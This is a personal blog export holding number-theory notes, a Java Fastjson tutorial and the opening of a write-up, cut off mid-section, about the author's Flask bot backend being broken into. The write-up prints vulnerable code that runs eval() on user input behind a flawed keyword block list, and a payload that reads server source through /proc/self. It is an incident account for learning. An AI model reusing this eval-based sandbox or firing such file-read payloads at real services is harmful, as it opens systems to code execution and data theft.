二次同余式,平方剩余"></a>第四章 二次同余式,平方剩余</h2><h3 id="一般二次同余式"><a href="#一般二次同余式" class="headerlink" title="一般二次同余式"></a>一般二次同余式</h3><p>x ² ≡ a (mod m) ,(a , m) = 1</p><p>若同余式有解,则 a 叫做模 m 的平方剩余,否则 a 叫做模 m 的平方非剩余</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-28.png"></p><h3 id="模为奇素数"><a href="#模为奇素数" class="headerlink" title="模为奇素数"></a>模为奇素数</h3><p>x ² ≡ a (mod p) ,(a , p) = 1 ,p 是奇素数</p><p>判别条件</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-29.png"></p><p>并且</p><p>(a1 , p) = 1 ,(a2 , p) = 1 ,p 是奇素数<br>① 若 a1 是模 p 的平方剩余、a2 是模 p 的平方剩余,则 a1 · a2 是模 p 的平方剩余<br>② 若 a1 是模 p 的平方剩余、a2 是模 p 的平方非剩余,则 a1 · a2 是模 p 的平方非剩余<br>③ 若 a1 是模 p 的平方非剩余、a2 是模 p 的平方非剩余,则 a1 · a2 是模 p 的平方剩余</p><h3 id="勒让德符号"><a href="#勒让德符号" class="headerlink" title="勒让德符号"></a>勒让德符号</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-31.png"></p><p>p为奇素数时</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-32.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-33.png"></p><p>对于a==2</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-34.png"></p><p>对于a!=2,可以用二次互反律和周期性</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-35.png"></p><p>例题</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-36.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-37.png"></p><h3 id="雅可比符号"><a href="#雅可比符号" class="headerlink" title="雅可比符号"></a>雅可比符号</h3><p>当m为合数时</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-38.png"></p><p>引理</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-39.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-40.png"></p><h3 id="模平方根"><a href="#模平方根" class="headerlink" title="模平方根"></a>模平方根</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-41.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-42.png"></p><p>剩下的白兰咯~</p><h2 id="第五章-原根,指标"><a href="#第五章-原根,指标" class="headerlink" title="第五章 原根,指标"></a>第五章 原根,指标</h2><h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-43.png"></p><p>若 (a,m) = 1,e 是满足 a^e ≡ 1 (mod m) 的最小正整数<br>则 e 叫 a 对模 m 的指数,记作 ordm (a)<br>若 ordm (a) = φ(m),则 a 叫模 m 的原根</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-44.png"></p><h3 id="指数性质"><a href="#指数性质" class="headerlink" title="指数性质"></a>指数性质</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-44.png"></p><h3 id="指数构造"><a href="#指数构造" class="headerlink" title="指数构造"></a>指数构造</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-a533c22c7fe0b427.png"></p><h3 id="原根"><a href="#原根" class="headerlink" title="原根"></a>原根</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-de5a4e15e741a962.png"></p><h3 id="指标"><a href="#指标" class="headerlink" title="指标"></a>指标</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-29e78ea361a2f365.png"></p><p>例题</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-45.png"></p><h2 id="第八章-群"><a href="#第八章-群" class="headerlink" title="第八章 群"></a>第八章 群</h2><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-35ca3a779c250841.png"></p>]]></content>
<categories>
<category> 我爱学习 </category>
</categories>
<tags>
<tag> 求生指南 </tag>
</tags>
</entry>
<entry>
<title>Fastjson对JSON字符串、对象及数组进行转换</title>
<link href="/2021/12/12/fastjson%E5%AF%B9json%E5%AD%97%E7%AC%A6%E4%B8%B2%E3%80%81%E5%AF%B9%E8%B1%A1%E5%8F%8A%E6%95%B0%E7%BB%84%E8%BF%9B%E8%A1%8C%E8%BD%AC%E6%8D%A2/"/>
<url>/2021/12/12/fastjson%E5%AF%B9json%E5%AD%97%E7%AC%A6%E4%B8%B2%E3%80%81%E5%AF%B9%E8%B1%A1%E5%8F%8A%E6%95%B0%E7%BB%84%E8%BF%9B%E8%A1%8C%E8%BD%AC%E6%8D%A2/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252126633.png"></p><h2 id="fastjson依赖包添加"><a href="#fastjson依赖包添加" class="headerlink" title="fastjson依赖包添加"></a><strong>fastjson依赖</strong>包添加</h2><p>网上找到了个不错的api,格式是json,我只会js语言的json处理,赶紧学了一下fastjson</p><p>到<a href="https://mvnrepository.com/">https://mvnrepository.com/</a>里,搜索Fastjson</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252130395.png"></p><p>选择版本,我用的是1.2.78的kotlin Gradle</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252130885.png"></p><h2 id="FastJson主要类"><a href="#FastJson主要类" class="headerlink" title="FastJson主要类"></a>FastJson主要类</h2><p>fastjson对于json格式字符串的解析主要用到了一下三个类</p><ul><li>(1)JSON:fastJson的解析器,用于JSON格式字符串与JSON对象及javaBean之间的转换。</li><li>(2)jsonobject:fastJson提供的json对象。</li><li>(3)jsonarray:fastJson提供json数组对象。</li></ul><h2 id="JSON转换"><a href="#JSON转换" class="headerlink" title="JSON转换"></a>JSON转换</h2><h3 id="JAVA对象转JSON字符串"><a href="#JAVA对象转JSON字符串" class="headerlink" title="JAVA对象转JSON字符串"></a>JAVA对象转JSON字符串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">//java对象转json字符串</span><br><span class="line"> public static void beanTojson() {</span><br><span class="line"> Data data = new Data();</span><br><span class="line"> data.setAction("add");</span><br><span class="line"> data.setId("1");</span><br><span class="line"> data.setOrdinal(8L);</span><br><span class="line"> data.setOrganUnitFullName("testJSON");</span><br><span class="line"> data.setParent("0");</span><br><span class="line"> data.setSuborderNo("58961");</span><br><span class="line"></span><br><span class="line"> String s = JSON.toJSONString(data);</span><br><span class="line"> System.out.println("toJsonString()方法:s=" + s);</span><br><span class="line"> //输出结果{"action":"add","id":"1","ordinal":8,"organUnitFullName":"testJSON","parent":"0","suborderNo":"58961"}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="JSON字符串转JSON对象"><a href="#JSON字符串转JSON对象" class="headerlink" title="JSON字符串转JSON对象"></a>JSON字符串转JSON对象</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">//json字符串转json对象</span><br><span class="line"> public static void jsonToJsonBean() {</span><br><span class="line"> String s ="{\"action\":\"add\",\"id\":\"1\",\"ordinal\":8,\"organUnitFullName\":\"testJSON\",\"parent\":\"0\",\"suborderNo\":\"58961\"}";</span><br><span class="line"></span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(s);</span><br><span class="line"> String action = jsonObject.getString("action");</span><br><span class="line"> String id = jsonObject.getString("id");</span><br><span class="line"> System.out.println("action ="+action);//add</span><br><span class="line"> System.out.println("id ="+id);//1</span><br><span class="line"> System.out.println("jsonObject ="+jsonObject);</span><br><span class="line"> //action =add</span><br><span class="line"> //id =1</span><br><span class="line"> //jsonObject ={"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="复杂JSON格式字符串与JSONObject之间的转换"><a href="#复杂JSON格式字符串与JSONObject之间的转换" class="headerlink" title="复杂JSON格式字符串与JSONObject之间的转换"></a>复杂JSON格式字符串与JSONObject之间的转换</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">public static void jsonToBean() {</span><br><span class="line"> String str ="{\"meta\":{\"code\":\"0\",\"message\":\"同步成功!\"},\"data\":{\"orderno\":\"U_2018062790915774\",\"suborderno\":\"SUB_2018062797348039\",\"type\":\"organunit\",\"result\":{\"organunit\":{\"totalCount\":2,\"successCount\":0,\"failCount\":2,\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]},\"role\":{\"totalCount\":0,\"successCount\":0,\"failCount\":0,\"errors\":[]},\"user\":{\"totalCount\":0,\"successCount\":0,\"failCount\":0,\"errors\":[]}}}}";</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> JSONObject data = jsonObject.getJSONObject("data");</span><br><span class="line"> JSONObject result = data.getJSONObject("result");</span><br><span class="line"></span><br><span class="line"> String organunit1 = result.getString("organunit");</span><br><span class="line"> System.out.println(organunit1);</span><br><span class="line"> JSONObject organunit = result.getJSONObject("organunit");</span><br><span class="line"></span><br><span class="line"> JSONArray errors2 = organunit.getJSONArray("errors");</span><br><span class="line"></span><br><span class="line"> List<Error> error = JSON.parseObject(errors2.toJSONString(), new TypeReference<List<Error>>() {</span><br><span class="line"> });</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="JSON字符串转JAVA简单对象"><a href="#JSON字符串转JAVA简单对象" class="headerlink" title="JSON字符串转JAVA简单对象"></a>JSON字符串转JAVA简单对象</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">//json字符串转java简单对象</span><br><span class="line"> public static void jsonStrToJavaBean() {</span><br><span class="line"> String s ="{\"action\":\"add\",\"id\":\"1\",\"ordinal\":8,\"organUnitFullName\":\"testJSON\",\"parent\":\"0\",\"suborderNo\":\"58961\"}";</span><br><span class="line"> Data data = JSON.parseObject(s, Data.class);</span><br><span class="line"> System.out.println("data对象"+data.toString());</span><br><span class="line"> System.out.println("action="+data.getAction()+"---id="+data.getId());</span><br><span class="line"> //data对象Data{id='1', suborderNo='58961', organUnitType='null', action='add', parent='0', organUnitFullName='testJSON', ordinal=8}</span><br><span class="line"> //action=add---id=1</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 另一种方式转对象</span><br><span class="line"> */</span><br><span class="line"> Data dd = JSON.parseObject(s, new TypeReference<Data>() {});</span><br><span class="line"> System.out.println("另一种方式获取data对象"+dd.toString());</span><br><span class="line"> System.out.println("另一种方式获取="+dd.getAction()+"---id="+dd.getId());</span><br><span class="line"> //另一种方式获取data对象Data{id='1', suborderNo='58961', organUnitType='null', action='add', parent='0', organUnitFullName='testJSON', ordinal=8}</span><br><span class="line"> //另一种方式获取=add---id=1</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="JSON字符串-数组类型与JAVA对象的转换"><a href="#JSON字符串-数组类型与JAVA对象的转换" class="headerlink" title="JSON字符串 数组类型与JAVA对象的转换"></a>JSON字符串 数组类型与JAVA对象的转换</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">{"errors":[{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"254","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false},{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"255","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false}]}</span><br><span class="line"></span><br><span class="line">//json字符串--数组型与JSONArray对象之间的转换</span><br><span class="line"> public static void jsonStrToJSONArray() {</span><br><span class="line"> String str = "{\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]}";</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> JSONArray error = jsonObject.getJSONArray("errors");</span><br><span class="line"> List<Error> errors = JSON.parseObject(error.toJSONString(), new TypeReference<List<Error>>() {</span><br><span class="line"> });</span><br><span class="line"> for (Error e: errors) {</span><br><span class="line"> //Error的属性</span><br><span class="line"> System.out.println("Error属性="+e.getSuccess());</span><br><span class="line"> System.out.println("Error属性="+e.getCode());</span><br><span class="line"> System.out.println("Error属性="+e.getMessage());</span><br><span class="line"> //Error集合属性</span><br><span class="line"> List<Data> datas = e.getData();</span><br><span class="line"> for (Data d: datas) {</span><br><span class="line"> System.out.println("data对象属性="+d.getId());</span><br><span class="line"> System.out.println("data对象属性="+d.getAction());</span><br><span class="line"> System.out.println("data对象属性="+d.getSuborderNo());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> //Error属性=false</span><br><span class="line"> //Error属性=UUM70004</span><br><span class="line"> //Error属性=组织单元名称不能为空</span><br><span class="line"> //data对象属性=254</span><br><span class="line"> //data对象属性=add</span><br><span class="line"> //data对象属性=SUB_2018062797348039</span><br><span class="line"></span><br><span class="line"> //Error属性=false</span><br><span class="line"> //Error属性=UUM70004</span><br><span class="line"> //Error属性=组织单元名称不能为空</span><br><span class="line"> //data对象属性=255</span><br><span class="line"> //data对象属性=add</span><br><span class="line"> //data对象属性=SUB_2018062797348039</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="JSON字符串-第二种方法–-数组类型与JAVA对象的转换"><a href="#JSON字符串-第二种方法–-数组类型与JAVA对象的转换" class="headerlink" title="JSON字符串 第二种方法–>数组类型与JAVA对象的转换"></a>JSON字符串 第二种方法–>数组类型与JAVA对象的转换</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">//第二种方法:json字符串--数组型与JSONArray对象之间的转换</span><br><span class="line"> @Test</span><br><span class="line"> public void jsonStrToJSONArray2() {</span><br><span class="line"> String str = "{\"errors\":[{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"254\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false},{\"code\":\"UUM70004\",\"message\":\"组织单元名称不能为空\",\"data\":{\"id\":\"255\",\"suborderNo\":\"SUB_2018062797348039\",\"organUnitType\":\"部门\",\"action\":\"add\",\"parent\":\"10000\",\"ordinal\":0,\"organUnitFullName\":\"组织单元全称\"},\"success\":false}]}";</span><br><span class="line"> //获取jsonobject对象</span><br><span class="line"> JSONObject jsonObject = JSON.parseObject(str);</span><br><span class="line"> //把对象转换成jsonArray数组</span><br><span class="line"> JSONArray error = jsonObject.getJSONArray("errors");</span><br><span class="line"> //error==>[{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"254","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false},{"code":"UUM70004","message":"组织单元名称不能为空","data":{"id":"255","suborderNo":"SUB_2018062797348039","organUnitType":"部门","action":"add","parent":"10000","ordinal":0,"organUnitFullName":"组织单元全称"},"success":false}]</span><br><span class="line"> //将数组转换成字符串</span><br><span class="line"> String jsonString = JSONObject.toJSONString(error);//将array数组转换成字符串</span><br><span class="line"> //将字符串转成list集合</span><br><span class="line"> List<Error> errors = JSONObject.parseArray(jsonString, Error.class);//把字符串转换成集合</span><br><span class="line"> for (Error e: errors) {</span><br><span class="line"> //Error的属性</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getSuccess());</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getCode());</span><br><span class="line"> System.out.println("另一种数组转换Error属性="+e.getMessage());</span><br><span class="line"> //Error集合属性</span><br><span class="line"> List<Data> datas = e.getData();</span><br><span class="line"> for (Data d: datas) {</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getId());</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getAction());</span><br><span class="line"> System.out.println("另一种数组转换data对象属性="+d.getSuborderNo());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> //另一种数组转换Error属性=false</span><br><span class="line"> //另一种数组转换Error属性=UUM70004</span><br><span class="line"> //另一种数组转换Error属性=组织单元名称不能为空</span><br><span class="line"> //另一种数组转换data对象属性=254</span><br><span class="line"> //另一种数组转换data对象属性=add</span><br><span class="line"> //另一种数组转换data对象属性=SUB_2018062797348039</span><br><span class="line"></span><br><span class="line"> //另一种数组转换Error属性=false</span><br><span class="line"> //另一种数组转换Error属性=UUM70004</span><br><span class="line"> //另一种数组转换Error属性=组织单元名称不能为空</span><br><span class="line"> //另一种数组转换data对象属性=255</span><br><span class="line"> //另一种数组转换data对象属性=add</span><br><span class="line"> //另一种数组转换data对象属性=SUB_2018062797348039</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h3 id="JAVA对象转JSON对象"><a href="#JAVA对象转JSON对象" class="headerlink" title="JAVA对象转JSON对象"></a>JAVA对象转JSON对象</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">//javabean转json对象</span><br><span class="line"> public static void jsonBenToJsonObject() {</span><br><span class="line"> Data data = new Data();</span><br><span class="line"> data.setAction("add");</span><br><span class="line"> data.setId("1");</span><br><span class="line"> data.setOrdinal(8L);</span><br><span class="line"> data.setOrganUnitFullName("testJSON");</span><br><span class="line"> data.setParent("0");</span><br><span class="line"> data.setSuborderNo("58961");</span><br><span class="line"> JSONObject jsonObj = (JSONObject) JSON.toJSON(data);</span><br><span class="line"> JSON json = (JSON) JSON.toJSON(data);</span><br><span class="line"> System.out.println("jsonObj"+jsonObj);</span><br><span class="line"> System.out.println("json对象"+json);</span><br><span class="line"> //jsonObj{"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> //json对象{"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8}</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 后端 </category>
</categories>
<tags>
<tag> Kotlin </tag>
<tag> Fastjson </tag>
</tags>
</entry>
<entry>
<title>记一次Flask后端被渗透的经历</title>
<link href="/2021/11/27/%E8%AE%B0%E4%B8%80%E6%AC%A1flask%E5%90%8E%E7%AB%AF%E8%A2%AB%E6%B8%97%E9%80%8F%E7%9A%84%E7%BB%8F%E5%8E%86/"/>
<url>/2021/11/27/%E8%AE%B0%E4%B8%80%E6%AC%A1flask%E5%90%8E%E7%AB%AF%E8%A2%AB%E6%B8%97%E9%80%8F%E7%9A%84%E7%BB%8F%E5%8E%86/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252154649.png"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>2021-11-04中午,在flask文档的帮助下,我成功在一小时内搭建起一个带有沙盒的可以执行部分python语句的后端脚本,并第一次将项目部署在docker上。NekoBot新功能+1,在某十几个群开放了此功能,并特别标注为菜单的<strong>第-1项</strong>,开始期待几个群聊里做渗透的师傅们对其进行攻击。</p><p>接下来的20多天里,如此明显的功能几乎没有人使用,这些人几乎全他妈的都在用Bot在看色图、犯病。不过好在有些人注意到了,其中有几位也是打CTF的师傅,可惜他们几乎都在瞎搞()这期间有个南信大的朋友,对bot进行了一些列攻击,可惜这些方式都在我的预判之内,并没成功。但是单纯的部分绕过都做到了,因为真的很简单()</p><p>2021-11-27凌晨,在持续几个小时的尝试下,这个后端被巨佬<a href="https://blog.plusls.com/">plusls</a>(我也是从前小绿草的腿腿acdxvfsvd大仙贝那得知这位巨佬的)读取了源码,读取到了环境信息,最终利用flask的拒绝服务打了下来(我超我怎么不知道flask还有这个后门)。并在几个小时后发现了最后某几个关键字的绕过方法,基本就能get shell了。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252154451.png"></p><p>在写waf的时候我预先留了个open方法,这就能让所有人对任意文件进行读操作,还有dir()啥的也没过滤(要是过滤了很多东西也没法用了x);当然还有一些然后以我浅薄的认知,封掉了几个可以利用os模块进行RCE的方法和关键词。我想看看,巨佬是怎么在这些阴间过滤的条件下成功get shell。很幸运,plusls的攻击过程十分精彩,让我学到许多,这波熬夜值了。记录一下记录一下.jpg</p><p>(虽然说最后plusls师傅似乎发现了非常不错的绕过方式,但是我被他打掉的脚本不敢重启了,万一他手里有逃出docker的0day呢(害怕.jpg))</p><h2 id="0x01文件源码"><a href="#0x01文件源码" class="headerlink" title="0x01文件源码"></a>0x01文件源码</h2><p>这么屑的源码有公开的必要吗(恼),直接<code>open('/proc/self/cwd/app/app.py', 'r').read()</code>,请。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">#coding=utf-8</span><br><span class="line">from flask import Flask, request</span><br><span class="line">import random</span><br><span class="line"></span><br><span class="line">wrong_msg = ["嘤嘤嘤,听不懂吖QAQ~", "呜呜呜~咱好笨~", "咱看不懂这些呀……", "咿呀,好像出错了……", "这超出窝的理解范围了QwQ", "好难~咱听不懂~"]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def keyword_filter(keyword, msg):</span><br><span class="line"> for i in keyword:</span><br><span class="line"> if i not in msg:</span><br><span class="line"> return False</span><br><span class="line"> return True</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def py_filter(msg):</span><br><span class="line"> for keyword in ["class", "import", "eval", "exec", "sys", "globals", "_", "builtins", "getattr", "pow", "",</span><br><span class="line"> "&",]:</span><br><span class="line"> if keyword_filter(keyword, msg):</span><br><span class="line"> return False</span><br><span class="line"> if "**" in msg:</span><br><span class="line"> return False</span><br><span class="line"></span><br><span class="line"> return True</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def do_python(msg):</span><br><span class="line"> try:</span><br><span class="line"> if py_filter(msg):</span><br><span class="line"> temp = eval(msg)</span><br><span class="line"> else:</span><br><span class="line"> return "Hacking for fun~"</span><br><span class="line"></span><br><span class="line"> return str(temp)</span><br><span class="line"> except:</span><br><span class="line"> return random.choice(wrong_msg)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">@app.route("/submit", methods=["GET"])</span><br><span class="line">def submit():</span><br><span class="line"> data = request.args.get("text")</span><br><span class="line"> print(data)</span><br><span class="line"> return do_python(data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> app.run(host="0.0.0.0")</span><br></pre></td></tr></table></figure><h2 id="0x02文件源码读取原理和-proc"><a href="#0x02文件源码读取原理和-proc" class="headerlink" title="0x02文件源码读取原理和/proc"></a>0x02文件源码读取原理和/proc</h2><p>我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。</p><p>Linux 内核提供了一种通过 